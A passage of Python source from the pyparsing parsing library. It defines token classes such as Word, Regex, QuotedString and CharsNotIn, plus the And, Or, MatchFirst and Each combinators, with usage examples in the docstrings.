an optional string containing allowed body characters (if omitted,
defaults to the initial character set), and an optional minimum,
maximum, and/or exact length. The default value for C{min} is 1 (a
minimum value < 1 is not valid); the default values for C{max} and C{exact}
are 0, meaning no maximum or exact length restriction. An optional
C{excludeChars} parameter can list characters that might be found in
the input C{bodyChars} string; useful to define a word of all printables
except for one or two characters, for instance.
L{srange} is useful for defining custom character set strings for defining
C{Word} expressions, using range notation from regular expression character sets.
A common mistake is to use C{Word} to match a specific literal string, as in
C{Word("Address")}. Remember that C{Word} uses the string argument to define
I{sets} of matchable characters. This expression would match "Add", "AAA",
"dAred", or any other word made up of the characters 'A', 'd', 'r', 'e', and 's'.
To match an exact literal string, use L{Literal} or L{Keyword}.
pyparsing includes helper strings for building Words:
- L{alphas}
- L{nums}
- L{alphanums}
- L{hexnums}
- L{alphas8bit} (alphabetic characters in ASCII range 128-255 - accented, tilded, umlauted, etc.)
- L{punc8bit} (non-alphabetic characters in ASCII range 128-255 - currency, symbols, superscripts, diacriticals, etc.)
- L{printables} (any non-whitespace character)
Example::
# a word composed of digits
integer = Word(nums) # equivalent to Word("0123456789") or Word(srange("0-9"))
# a word with a leading capital, and zero or more lowercase
capital_word = Word(alphas.upper(), alphas.lower())
# hostnames are alphanumeric, with leading alpha, and '-'
hostname = Word(alphas, alphanums+'-')
# roman numeral (not a strict parser, accepts invalid mix of characters)
roman = Word("IVXLCDM")
# any string of non-whitespace characters, except for ','
csv_value = Word(printables, excludeChars=",")
"""
def __init__( self, initChars, bodyChars=None, min=1, max=0, exact=0, asKeyword=False, excludeChars=None ):
super(Word,self).__init__()
if excludeChars:
initChars = ''.join(c for c in initChars if c not in excludeChars)
if bodyChars:
bodyChars = ''.join(c for c in bodyChars if c not in excludeChars)
self.initCharsOrig = initChars
self.initChars = set(initChars)
if bodyChars :
self.bodyCharsOrig = bodyChars
self.bodyChars = set(bodyChars)
else:
self.bodyCharsOrig = initChars
self.bodyChars = set(initChars)
self.maxSpecified = max > 0
if min < 1:
raise ValueError("cannot specify a minimum length < 1; use Optional(Word()) if zero-length word is permitted")
self.minLen = min
if max > 0:
self.maxLen = max
else:
self.maxLen = _MAX_INT
if exact > 0:
self.maxLen = exact
self.minLen = exact
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
self.mayIndexError = False
self.asKeyword = asKeyword
if ' ' not in self.initCharsOrig+self.bodyCharsOrig and (min==1 and max==0 and exact==0):
if self.bodyCharsOrig == self.initCharsOrig:
self.reString = "[%s]+" % _escapeRegexRangeChars(self.initCharsOrig)
elif len(self.initCharsOrig) == 1:
self.reString = "%s[%s]*" % \
(re.escape(self.initCharsOrig),
_escapeRegexRangeChars(self.bodyCharsOrig),)
else:
self.reString = "[%s][%s]*" % \
(_escapeRegexRangeChars(self.initCharsOrig),
_escapeRegexRangeChars(self.bodyCharsOrig),)
if self.asKeyword:
self.reString = r"\b"+self.reString+r"\b"
try:
self.re = re.compile( self.reString )
except Exception:
self.re = None
def parseImpl( self, instring, loc, doActions=True ):
if self.re:
result = self.re.match(instring,loc)
if not result:
raise ParseException(instring, loc, self.errmsg, self)
loc = result.end()
return loc, result.group()
if not(instring[ loc ] in self.initChars):
raise ParseException(instring, loc, self.errmsg, self)
start = loc
loc += 1
instrlen = len(instring)
bodychars = self.bodyChars
maxloc = start + self.maxLen
maxloc = min( maxloc, instrlen )
while loc < maxloc and instring[loc] in bodychars:
loc += 1
throwException = False
if loc - start < self.minLen:
throwException = True
if self.maxSpecified and loc < instrlen and instring[loc] in bodychars:
throwException = True
if self.asKeyword:
if (start>0 and instring[start-1] in bodychars) or (loc<instrlen and instring[loc] in bodychars):
throwException = True
if throwException:
raise ParseException(instring, loc, self.errmsg, self)
return loc, instring[start:loc]
def __str__( self ):
try:
return super(Word,self).__str__()
except Exception:
pass
if self.strRepr is None:
def charsAsStr(s):
if len(s)>4:
return s[:4]+"..."
else:
return s
if ( self.initCharsOrig != self.bodyCharsOrig ):
self.strRepr = "W:(%s,%s)" % ( charsAsStr(self.initCharsOrig), charsAsStr(self.bodyCharsOrig) )
else:
self.strRepr = "W:(%s)" % charsAsStr(self.initCharsOrig)
return self.strRepr
class Regex(Token):
"""
Token for matching strings that match a given regular expression.
Defined with string specifying the regular expression in a form recognized by the inbuilt Python re module.
If the given regex contains named groups (defined using C{(?P<name>...)}), these will be preserved as
named parse results.
Example::
realnum = Regex(r"[+-]?\d+\.\d*")
date = Regex(r'(?P<year>\d{4})-(?P<month>\d\d?)-(?P<day>\d\d?)')
# ref: http://stackoverflow.com/questions/267399/how-do-you-match-only-valid-roman-numerals-with-a-regular-expression
roman = Regex(r"M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})")
"""
compiledREtype = type(re.compile("[A-Z]"))
def __init__( self, pattern, flags=0):
"""The parameters C{pattern} and C{flags} are passed to the C{re.compile()} function as-is. See the Python C{re} module for an explanation of the acceptable patterns and flags."""
super(Regex,self).__init__()
if isinstance(pattern, basestring):
if not pattern:
warnings.warn("null string passed to Regex; use Empty() instead",
SyntaxWarning, stacklevel=2)
self.pattern = pattern
self.flags = flags
try:
self.re = re.compile(self.pattern, self.flags)
self.reString = self.pattern
except sre_constants.error:
warnings.warn("invalid pattern (%s) passed to Regex" % pattern,
SyntaxWarning, stacklevel=2)
raise
elif isinstance(pattern, Regex.compiledREtype):
self.re = pattern
self.pattern = \
self.reString = str(pattern)
self.flags = flags
else:
raise ValueError("Regex may only be constructed with a string or a compiled RE object")
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
self.mayIndexError = False
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
result = self.re.match(instring,loc)
if not result:
raise ParseException(instring, loc, self.errmsg, self)
loc = result.end()
d = result.groupdict()
ret = ParseResults(result.group())
if d:
for k in d:
ret[k] = d[k]
return loc,ret
def __str__( self ):
try:
return super(Regex,self).__str__()
except Exception:
pass
if self.strRepr is None:
self.strRepr = "Re:(%s)" % repr(self.pattern)
return self.strRepr
class QuotedString(Token):
r"""
Token for matching strings that are delimited by quoting characters.
Defined with the following parameters:
- quoteChar - string of one or more characters defining the quote delimiting string
- escChar - character to escape quotes, typically backslash (default=C{None})
- escQuote - special quote sequence to escape an embedded quote string (such as SQL's "" to escape an embedded ") (default=C{None})
- multiline - boolean indicating whether quotes can span multiple lines (default=C{False})
- unquoteResults - boolean indicating whether the matched text should be unquoted (default=C{True})
- endQuoteChar - string of one or more characters defining the end of the quote delimited string (default=C{None} => same as quoteChar)
- convertWhitespaceEscapes - convert escaped whitespace (C{'\t'}, C{'\n'}, etc.) to actual whitespace (default=C{True})
Example::
qs = QuotedString('"')
print(qs.searchString('lsjdf "This is the quote" sldjf'))
complex_qs = QuotedString('{{', endQuoteChar='}}')
print(complex_qs.searchString('lsjdf {{This is the "quote"}} sldjf'))
sql_qs = QuotedString('"', escQuote='""')
print(sql_qs.searchString('lsjdf "This is the quote with ""embedded"" quotes" sldjf'))
prints::
[['This is the quote']]
[['This is the "quote"']]
[['This is the quote with "embedded" quotes']]
"""
def __init__( self, quoteChar, escChar=None, escQuote=None, multiline=False, unquoteResults=True, endQuoteChar=None, convertWhitespaceEscapes=True):
super(QuotedString,self).__init__()
# remove white space from quote chars - wont work anyway
quoteChar = quoteChar.strip()
if not quoteChar:
warnings.warn("quoteChar cannot be the empty string",SyntaxWarning,stacklevel=2)
raise SyntaxError()
if endQuoteChar is None:
endQuoteChar = quoteChar
else:
endQuoteChar = endQuoteChar.strip()
if not endQuoteChar:
warnings.warn("endQuoteChar cannot be the empty string",SyntaxWarning,stacklevel=2)
raise SyntaxError()
self.quoteChar = quoteChar
self.quoteCharLen = len(quoteChar)
self.firstQuoteChar = quoteChar[0]
self.endQuoteChar = endQuoteChar
self.endQuoteCharLen = len(endQuoteChar)
self.escChar = escChar
self.escQuote = escQuote
self.unquoteResults = unquoteResults
self.convertWhitespaceEscapes = convertWhitespaceEscapes
if multiline:
self.flags = re.MULTILINE | re.DOTALL
self.pattern = r'%s(?:[^%s%s]' % \
( re.escape(self.quoteChar),
_escapeRegexRangeChars(self.endQuoteChar[0]),
(escChar is not None and _escapeRegexRangeChars(escChar) or '') )
else:
self.flags = 0
self.pattern = r'%s(?:[^%s\n\r%s]' % \
( re.escape(self.quoteChar),
_escapeRegexRangeChars(self.endQuoteChar[0]),
(escChar is not None and _escapeRegexRangeChars(escChar) or '') )
if len(self.endQuoteChar) > 1:
self.pattern += (
'|(?:' + ')|(?:'.join("%s[^%s]" % (re.escape(self.endQuoteChar[:i]),
_escapeRegexRangeChars(self.endQuoteChar[i]))
for i in range(len(self.endQuoteChar)-1,0,-1)) + ')'
)
if escQuote:
self.pattern += (r'|(?:%s)' % re.escape(escQuote))
if escChar:
self.pattern += (r'|(?:%s.)' % re.escape(escChar))
self.escCharReplacePattern = re.escape(self.escChar)+"(.)"
self.pattern += (r')*%s' % re.escape(self.endQuoteChar))
try:
self.re = re.compile(self.pattern, self.flags)
self.reString = self.pattern
except sre_constants.error:
warnings.warn("invalid pattern (%s) passed to Regex" % self.pattern,
SyntaxWarning, stacklevel=2)
raise
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
self.mayIndexError = False
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
result = instring[loc] == self.firstQuoteChar and self.re.match(instring,loc) or None
if not result:
raise ParseException(instring, loc, self.errmsg, self)
loc = result.end()
ret = result.group()
if self.unquoteResults:
# strip off quotes
ret = ret[self.quoteCharLen:-self.endQuoteCharLen]
if isinstance(ret,basestring):
# replace escaped whitespace
if '\\' in ret and self.convertWhitespaceEscapes:
ws_map = {
r'\t' : '\t',
r'\n' : '\n',
r'\f' : '\f',
r'\r' : '\r',
}
for wslit,wschar in ws_map.items():
ret = ret.replace(wslit, wschar)
# replace escaped characters
if self.escChar:
ret = re.sub(self.escCharReplacePattern,"\g<1>",ret)
# replace escaped quotes
if self.escQuote:
ret = ret.replace(self.escQuote, self.endQuoteChar)
return loc, ret
def __str__( self ):
try:
return super(QuotedString,self).__str__()
except Exception:
pass
if self.strRepr is None:
self.strRepr = "quoted string, starting with %s ending with %s" % (self.quoteChar, self.endQuoteChar)
return self.strRepr
class CharsNotIn(Token):
"""
Token for matching words composed of characters I{not} in a given set (will
include whitespace in matched characters if not listed in the provided exclusion set - see example).
Defined with string containing all disallowed characters, and an optional
minimum, maximum, and/or exact length. The default value for C{min} is 1 (a
minimum value < 1 is not valid); the default values for C{max} and C{exact}
are 0, meaning no maximum or exact length restriction.
Example::
# define a comma-separated-value as anything that is not a ','
csv_value = CharsNotIn(',')
print(delimitedList(csv_value).parseString("dkls,lsdkjf,s12 34,@!#,213"))
prints::
['dkls', 'lsdkjf', 's12 34', '@!#', '213']
"""
def __init__( self, notChars, min=1, max=0, exact=0 ):
super(CharsNotIn,self).__init__()
self.skipWhitespace = False
self.notChars = notChars
if min < 1:
raise ValueError("cannot specify a minimum length < 1; use Optional(CharsNotIn()) if zero-length char group is permitted")
self.minLen = min
if max > 0:
self.maxLen = max
else:
self.maxLen = _MAX_INT
if exact > 0:
self.maxLen = exact
self.minLen = exact
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
self.mayReturnEmpty = ( self.minLen == 0 )
self.mayIndexError = False
def parseImpl( self, instring, loc, doActions=True ):
if instring[loc] in self.notChars:
raise ParseException(instring, loc, self.errmsg, self)
start = loc
loc += 1
notchars = self.notChars
maxlen = min( start+self.maxLen, len(instring) )
while loc < maxlen and \
(instring[loc] not in notchars):
loc += 1
if loc - start < self.minLen:
raise ParseException(instring, loc, self.errmsg, self)
return loc, instring[start:loc]
def __str__( self ):
try:
return super(CharsNotIn, self).__str__()
except Exception:
pass
if self.strRepr is None:
if len(self.notChars) > 4:
self.strRepr = "!W:(%s...)" % self.notChars[:4]
else:
self.strRepr = "!W:(%s)" % self.notChars
return self.strRepr
class White(Token):
"""
Special matching class for matching whitespace. Normally, whitespace is ignored
by pyparsing grammars. This class is included when some whitespace structures
are significant. Define with a string containing the whitespace characters to be
matched; default is C{" \\t\\r\\n"}. Also takes optional C{min}, C{max}, and C{exact} arguments,
as defined for the C{L{Word}} class.
"""
whiteStrs = {
" " : "<SPC>",
"\t": "<TAB>",
"\n": "<LF>",
"\r": "<CR>",
"\f": "<FF>",
}
def __init__(self, ws=" \t\r\n", min=1, max=0, exact=0):
super(White,self).__init__()
self.matchWhite = ws
self.setWhitespaceChars( "".join(c for c in self.whiteChars if c not in self.matchWhite) )
#~ self.leaveWhitespace()
self.name = ("".join(White.whiteStrs[c] for c in self.matchWhite))
self.mayReturnEmpty = True
self.errmsg = "Expected " + self.name
self.minLen = min
if max > 0:
self.maxLen = max
else:
self.maxLen = _MAX_INT
if exact > 0:
self.maxLen = exact
self.minLen = exact
def parseImpl( self, instring, loc, doActions=True ):
if not(instring[ loc ] in self.matchWhite):
raise ParseException(instring, loc, self.errmsg, self)
start = loc
loc += 1
maxloc = start + self.maxLen
maxloc = min( maxloc, len(instring) )
while loc < maxloc and instring[loc] in self.matchWhite:
loc += 1
if loc - start < self.minLen:
raise ParseException(instring, loc, self.errmsg, self)
return loc, instring[start:loc]
class _PositionToken(Token):
def __init__( self ):
super(_PositionToken,self).__init__()
self.name=self.__class__.__name__
self.mayReturnEmpty = True
self.mayIndexError = False
class GoToColumn(_PositionToken):
"""
Token to advance to a specific column of input text; useful for tabular report scraping.
"""
def __init__( self, colno ):
super(GoToColumn,self).__init__()
self.col = colno
def preParse( self, instring, loc ):
if col(loc,instring) != self.col:
instrlen = len(instring)
if self.ignoreExprs:
loc = self._skipIgnorables( instring, loc )
while loc < instrlen and instring[loc].isspace() and col( loc, instring ) != self.col :
loc += 1
return loc
def parseImpl( self, instring, loc, doActions=True ):
thiscol = col( loc, instring )
if thiscol > self.col:
raise ParseException( instring, loc, "Text not in expected column", self )
newloc = loc + self.col - thiscol
ret = instring[ loc: newloc ]
return newloc, ret
class LineStart(_PositionToken):
"""
Matches if current position is at the beginning of a line within the parse string
Example::
test = '''\
AAA this line
AAA and this line
AAA but not this one
B AAA and definitely not this one
'''
for t in (LineStart() + 'AAA' + restOfLine).searchString(test):
print(t)
Prints::
['AAA', ' this line']
['AAA', ' and this line']
"""
def __init__( self ):
super(LineStart,self).__init__()
self.errmsg = "Expected start of line"
def parseImpl( self, instring, loc, doActions=True ):
if col(loc, instring) == 1:
return loc, []
raise ParseException(instring, loc, self.errmsg, self)
class LineEnd(_PositionToken):
"""
Matches if current position is at the end of a line within the parse string
"""
def __init__( self ):
super(LineEnd,self).__init__()
self.setWhitespaceChars( ParserElement.DEFAULT_WHITE_CHARS.replace("\n","") )
self.errmsg = "Expected end of line"
def parseImpl( self, instring, loc, doActions=True ):
if loc<len(instring):
if instring[loc] == "\n":
return loc+1, "\n"
else:
raise ParseException(instring, loc, self.errmsg, self)
elif loc == len(instring):
return loc+1, []
else:
raise ParseException(instring, loc, self.errmsg, self)
class StringStart(_PositionToken):
"""
Matches if current position is at the beginning of the parse string
"""
def __init__( self ):
super(StringStart,self).__init__()
self.errmsg = "Expected start of text"
def parseImpl( self, instring, loc, doActions=True ):
if loc != 0:
# see if entire string up to here is just whitespace and ignoreables
if loc != self.preParse( instring, 0 ):
raise ParseException(instring, loc, self.errmsg, self)
return loc, []
class StringEnd(_PositionToken):
"""
Matches if current position is at the end of the parse string
"""
def __init__( self ):
super(StringEnd,self).__init__()
self.errmsg = "Expected end of text"
def parseImpl( self, instring, loc, doActions=True ):
if loc < len(instring):
raise ParseException(instring, loc, self.errmsg, self)
elif loc == len(instring):
return loc+1, []
elif loc > len(instring):
return loc, []
else:
raise ParseException(instring, loc, self.errmsg, self)
class WordStart(_PositionToken):
"""
Matches if the current position is at the beginning of a Word, and
is not preceded by any character in a given set of C{wordChars}
(default=C{printables}). To emulate the C{\b} behavior of regular expressions,
use C{WordStart(alphanums)}. C{WordStart} will also match at the beginning of
the string being parsed, or at the beginning of a line.
"""
def __init__(self, wordChars = printables):
super(WordStart,self).__init__()
self.wordChars = set(wordChars)
self.errmsg = "Not at the start of a word"
def parseImpl(self, instring, loc, doActions=True ):
if loc != 0:
if (instring[loc-1] in self.wordChars or
instring[loc] not in self.wordChars):
raise ParseException(instring, loc, self.errmsg, self)
return loc, []
class WordEnd(_PositionToken):
"""
Matches if the current position is at the end of a Word, and
is not followed by any character in a given set of C{wordChars}
(default=C{printables}). To emulate the C{\b} behavior of regular expressions,
use C{WordEnd(alphanums)}. C{WordEnd} will also match at the end of
the string being parsed, or at the end of a line.
"""
def __init__(self, wordChars = printables):
super(WordEnd,self).__init__()
self.wordChars = set(wordChars)
self.skipWhitespace = False
self.errmsg = "Not at the end of a word"
def parseImpl(self, instring, loc, doActions=True ):
instrlen = len(instring)
if instrlen>0 and loc<instrlen:
if (instring[loc] in self.wordChars or
instring[loc-1] not in self.wordChars):
raise ParseException(instring, loc, self.errmsg, self)
return loc, []
class ParseExpression(ParserElement):
"""
Abstract subclass of ParserElement, for combining and post-processing parsed tokens.
"""
def __init__( self, exprs, savelist = False ):
super(ParseExpression,self).__init__(savelist)
if isinstance( exprs, _generatorType ):
exprs = list(exprs)
if isinstance( exprs, basestring ):
self.exprs = [ ParserElement._literalStringClass( exprs ) ]
elif isinstance( exprs, collections.Iterable ):
exprs = list(exprs)
# if sequence of strings provided, wrap with Literal
if all(isinstance(expr, basestring) for expr in exprs):
exprs = map(ParserElement._literalStringClass, exprs)
self.exprs = list(exprs)
else:
try:
self.exprs = list( exprs )
except TypeError:
self.exprs = [ exprs ]
self.callPreparse = False
def __getitem__( self, i ):
return self.exprs[i]
def append( self, other ):
self.exprs.append( other )
self.strRepr = None
return self
def leaveWhitespace( self ):
"""Extends C{leaveWhitespace} defined in base class, and also invokes C{leaveWhitespace} on
all contained expressions."""
self.skipWhitespace = False
self.exprs = [ e.copy() for e in self.exprs ]
for e in self.exprs:
e.leaveWhitespace()
return self
def ignore( self, other ):
if isinstance( other, Suppress ):
if other not in self.ignoreExprs:
super( ParseExpression, self).ignore( other )
for e in self.exprs:
e.ignore( self.ignoreExprs[-1] )
else:
super( ParseExpression, self).ignore( other )
for e in self.exprs:
e.ignore( self.ignoreExprs[-1] )
return self
def __str__( self ):
try:
return super(ParseExpression,self).__str__()
except Exception:
pass
if self.strRepr is None:
self.strRepr = "%s:(%s)" % ( self.__class__.__name__, _ustr(self.exprs) )
return self.strRepr
def streamline( self ):
super(ParseExpression,self).streamline()
for e in self.exprs:
e.streamline()
# collapse nested And's of the form And( And( And( a,b), c), d) to And( a,b,c,d )
# but only if there are no parse actions or resultsNames on the nested And's
# (likewise for Or's and MatchFirst's)
if ( len(self.exprs) == 2 ):
other = self.exprs[0]
if ( isinstance( other, self.__class__ ) and
not(other.parseAction) and
other.resultsName is None and
not other.debug ):
self.exprs = other.exprs[:] + [ self.exprs[1] ]
self.strRepr = None
self.mayReturnEmpty |= other.mayReturnEmpty
self.mayIndexError |= other.mayIndexError
other = self.exprs[-1]
if ( isinstance( other, self.__class__ ) and
not(other.parseAction) and
other.resultsName is None and
not other.debug ):
self.exprs = self.exprs[:-1] + other.exprs[:]
self.strRepr = None
self.mayReturnEmpty |= other.mayReturnEmpty
self.mayIndexError |= other.mayIndexError
self.errmsg = "Expected " + _ustr(self)
return self
def setResultsName( self, name, listAllMatches=False ):
ret = super(ParseExpression,self).setResultsName(name,listAllMatches)
return ret
def validate( self, validateTrace=[] ):
tmp = validateTrace[:]+[self]
for e in self.exprs:
e.validate(tmp)
self.checkRecursion( [] )
def copy(self):
ret = super(ParseExpression,self).copy()
ret.exprs = [e.copy() for e in self.exprs]
return ret
class And(ParseExpression):
"""
Requires all given C{ParseExpression}s to be found in the given order.
Expressions may be separated by whitespace.
May be constructed using the C{'+'} operator.
May also be constructed using the C{'-'} operator, which will suppress backtracking.
Example::
integer = Word(nums)
name_expr = OneOrMore(Word(alphas))
expr = And([integer("id"),name_expr("name"),integer("age")])
# more easily written as:
expr = integer("id") + name_expr("name") + integer("age")
"""
class _ErrorStop(Empty):
def __init__(self, *args, **kwargs):
super(And._ErrorStop,self).__init__(*args, **kwargs)
self.name = '-'
self.leaveWhitespace()
def __init__( self, exprs, savelist = True ):
super(And,self).__init__(exprs, savelist)
self.mayReturnEmpty = all(e.mayReturnEmpty for e in self.exprs)
self.setWhitespaceChars( self.exprs[0].whiteChars )
self.skipWhitespace = self.exprs[0].skipWhitespace
self.callPreparse = True
def parseImpl( self, instring, loc, doActions=True ):
# pass False as last arg to _parse for first element, since we already
# pre-parsed the string as part of our And pre-parsing
loc, resultlist = self.exprs[0]._parse( instring, loc, doActions, callPreParse=False )
errorStop = False
for e in self.exprs[1:]:
if isinstance(e, And._ErrorStop):
errorStop = True
continue
if errorStop:
try:
loc, exprtokens = e._parse( instring, loc, doActions )
except ParseSyntaxException:
raise
except ParseBaseException as pe:
pe.__traceback__ = None
raise ParseSyntaxException._from_exception(pe)
except IndexError:
raise ParseSyntaxException(instring, len(instring), self.errmsg, self)
else:
loc, exprtokens = e._parse( instring, loc, doActions )
if exprtokens or exprtokens.haskeys():
resultlist += exprtokens
return loc, resultlist
def __iadd__(self, other ):
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
return self.append( other ) #And( [ self, other ] )
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
if not e.mayReturnEmpty:
break
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " ".join(_ustr(e) for e in self.exprs) + "}"
return self.strRepr
class Or(ParseExpression):
"""
Requires that at least one C{ParseExpression} is found.
If two expressions match, the expression that matches the longest string will be used.
May be constructed using the C{'^'} operator.
Example::
# construct Or using '^' operator
number = Word(nums) ^ Combine(Word(nums) + '.' + Word(nums))
print(number.searchString("123 3.1416 789"))
prints::
[['123'], ['3.1416'], ['789']]
"""
def __init__( self, exprs, savelist = False ):
super(Or,self).__init__(exprs, savelist)
if self.exprs:
self.mayReturnEmpty = any(e.mayReturnEmpty for e in self.exprs)
else:
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
maxExcLoc = -1
maxException = None
matches = []
for e in self.exprs:
try:
loc2 = e.tryParse( instring, loc )
except ParseException as err:
err.__traceback__ = None
if err.loc > maxExcLoc:
maxException = err
maxExcLoc = err.loc
except IndexError:
if len(instring) > maxExcLoc:
maxException = ParseException(instring,len(instring),e.errmsg,self)
maxExcLoc = len(instring)
else:
# save match among all matches, to retry longest to shortest
matches.append((loc2, e))
if matches:
matches.sort(key=lambda x: -x[0])
for _,e in matches:
try:
return e._parse( instring, loc, doActions )
except ParseException as err:
err.__traceback__ = None
if err.loc > maxExcLoc:
maxException = err
maxExcLoc = err.loc
if maxException is not None:
maxException.msg = self.errmsg
raise maxException
else:
raise ParseException(instring, loc, "no defined alternatives to match", self)
def __ixor__(self, other ):
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
return self.append( other ) #Or( [ self, other ] )
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " ^ ".join(_ustr(e) for e in self.exprs) + "}"
return self.strRepr
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
class MatchFirst(ParseExpression):
"""
Requires that at least one C{ParseExpression} is found.
If two expressions match, the first one listed is the one that will match.
May be constructed using the C{'|'} operator.
Example::
# construct MatchFirst using '|' operator
# watch the order of expressions to match
number = Word(nums) | Combine(Word(nums) + '.' + Word(nums))
print(number.searchString("123 3.1416 789")) # Fail! -> [['123'], ['3'], ['1416'], ['789']]
# put more selective expression first
number = Combine(Word(nums) + '.' + Word(nums)) | Word(nums)
print(number.searchString("123 3.1416 789")) # Better -> [['123'], ['3.1416'], ['789']]
"""
def __init__( self, exprs, savelist = False ):
super(MatchFirst,self).__init__(exprs, savelist)
if self.exprs:
self.mayReturnEmpty = any(e.mayReturnEmpty for e in self.exprs)
else:
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
maxExcLoc = -1
maxException = None
for e in self.exprs:
try:
ret = e._parse( instring, loc, doActions )
return ret
except ParseException as err:
if err.loc > maxExcLoc:
maxException = err
maxExcLoc = err.loc
except IndexError:
if len(instring) > maxExcLoc:
maxException = ParseException(instring,len(instring),e.errmsg,self)
maxExcLoc = len(instring)
# only got here if no expression matched, raise exception for match that made it the furthest
else:
if maxException is not None:
maxException.msg = self.errmsg
raise maxException
else:
raise ParseException(instring, loc, "no defined alternatives to match", self)
def __ior__(self, other ):
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
return self.append( other ) #MatchFirst( [ self, other ] )
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " | ".join(_ustr(e) for e in self.exprs) + "}"
return self.strRepr
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
class Each(ParseExpression):
"""
Requires all given C{ParseExpression}s to be found, but in any order.
Expressions may be separated by whitespace.
May be constructed using the C{'&'} operator.
Example::
color = oneOf("RED ORANGE YELLOW GREEN BLUE PURPLE BLACK WHITE BROWN")
shape_type = oneOf("SQUARE CIRCLE TRIANGLE STAR HEXAGON OCTAGON")
integer = Word(nums)
shape_attr = "shape:" + shape_type("shape")
posn_attr = "posn:" + Group(integer("x") + ',' + integer("y"))("posn")
color_attr = "color:" + color("color")
size_attr = "size:" + integer("size")
# use Each (using operator '&') to accept attributes in any order
# (shape and posn are required, color and size are optional)
shape_spec = shape_attr & posn_attr & Optional(color_attr) & Optional(size_attr)
shape_spec.runTests('''
shape: SQUARE color: BLACK posn: 100, 120
shape: CIRCLE size: 50 color: BLUE posn: 50,80
color:GREEN size:20 shape:TRIANGLE posn:20,40
'''
)
prints::
shape: SQUARE color: BLACK posn: 100, 120
['shape:', 'SQUARE', 'color:', 'BLACK', 'posn:', ['100', ',', '120']]
- color: BLACK
- posn: ['100', ',', '120']
- x: 100
- y: 120
- shape: SQUARE
shape: CIRCLE size: 50 color: BLUE posn: 50,80
['shape:', 'CIRCLE', 'size:', '50', 'color:', 'BLUE', 'posn:', ['50', ',', '80']]
- color: BLUE
- posn: ['50', ',', '80']
- x: 50
- y: 80
- shape: CIRCLE
- size: 50
color: GREEN size: 20 shape: TRIANGLE posn: 20,40
['color:', 'GREEN', 'size:', '20', 'shape:', 'TRIANGLE', 'posn:', ['20', ',', '40']]
- color: GREEN
- posn: ['20', ',', '40']
- x: 20
- y: 40
- shape: TRIANGLE
- size: 20
"""
def __init__( self, exprs, savelist = True ):
super(Each,self).__init__(exprs, savelist)
self.mayReturnEmpty = all(e.mayReturnEmpty for e in self.exprs)
self.skipWhitespace = True
self.initExprGroups = True
def parseImpl( self, instring, loc, doActions=True ):
if self.initExprGroups:
self.opt1map = dict((id(e.expr),e) for e in self.exprs if isinstance(e,Optional))
opt1 = [ e.expr for e in self.exprs if isinstance(e,Optional) ]
opt2 = [ e for e in self.exprs if e.mayReturnEmpty and not isinstance(e,Optional)]
self.optionals = opt1 + opt2
self.multioptionals = [ e.expr for e in self.exprs if isinstance(e,ZeroOrMore) ]
self.multirequired = [ e.expr for e in self.exprs if isinstance(e,OneOrMore) ]
self.required = [ e for e in self.exprs if not isinstance(e,(Optional,ZeroOrMore,OneOrMore)) ]
self.required += self.multirequired
self.initExprGroups = False
tmpLoc = loc
tmpReqd = self.required[:]
tmpOpt = self.optionals[:]
matchOrder = []
keepMatching = True
while keepMatching:
tmpExprs = tmpReqd + tmpOpt + self.multioptionals + self.multirequired
failed = []
for e in tmpExprs:
try:
tmpLoc = e.tryParse( instring, tmpLoc )
except ParseException:
failed.append(e)
else:
matchOrder.append(self.opt1map.get(id(e),e))
if e in tmpReqd:
tmpReqd.remove(e)
elif e in tmpOpt:
tmpOpt.remove(e)
if len(failed) == len(tmpExprs):
keepMatching = False
if tmpReqd:
missing = ", ".join(_ustr(e) for e in tmpReqd)
raise ParseException(instring,loc,"Missing one or more required elements (%s)" % missing )
# add any unmatched Optionals, in case they have default values defined
matchOrder += [e for e in self.exprs if isinstance(e,Optional) and e.expr in tmpOpt]
resultlist = []
for e in matchOrder:
loc,results = e._parse(instring,loc,doActions)
resultlist.append(results)
finalResults = sum(resultlist, ParseResults([]))
return loc, finalResults
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " & ".join(_ustr(e) for e in self.exprs) + "}"
return self.strRepr
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
class ParseElementEnhance(ParserElement):
"""
Abstract subclass of C{ParserElement}, for combining and post-processing parsed tokens.
"""
def __init__( self, expr, savelist=False ):
super(ParseElementEnhance,self).__init__(savelist)
if isinstance( expr, basestring ):
if issubclass(ParserElement._literalStringClass, Token):
expr = ParserElement._literalStringClass(expr)
else:
expr = ParserElement._literalStringClass(Literal(expr))
self.expr = expr
self.strRepr = None
if expr is not None:
self.mayIndexError = expr.mayIndexError
self.mayReturnEmpty = expr.mayReturnEmpty
self.setWhitespaceChars( expr.whiteChars )
self.skipWhitespace = expr.skipWhitespace
self.saveAsList = expr.saveAsList
self.callPreparse = expr.callPreparse
self.ignoreExprs.extend(expr.ignoreExprs)
def parseImpl( self, instring, loc, doActions=True ):
if self.expr is not None:
return self.expr._parse( instring, loc, doActions, callPreParse=False )
else:
raise ParseException("",loc,self.errmsg,self)
def leaveWhitespace( self ):
self.skipWhitespace = False
self.expr = self.expr.copy()
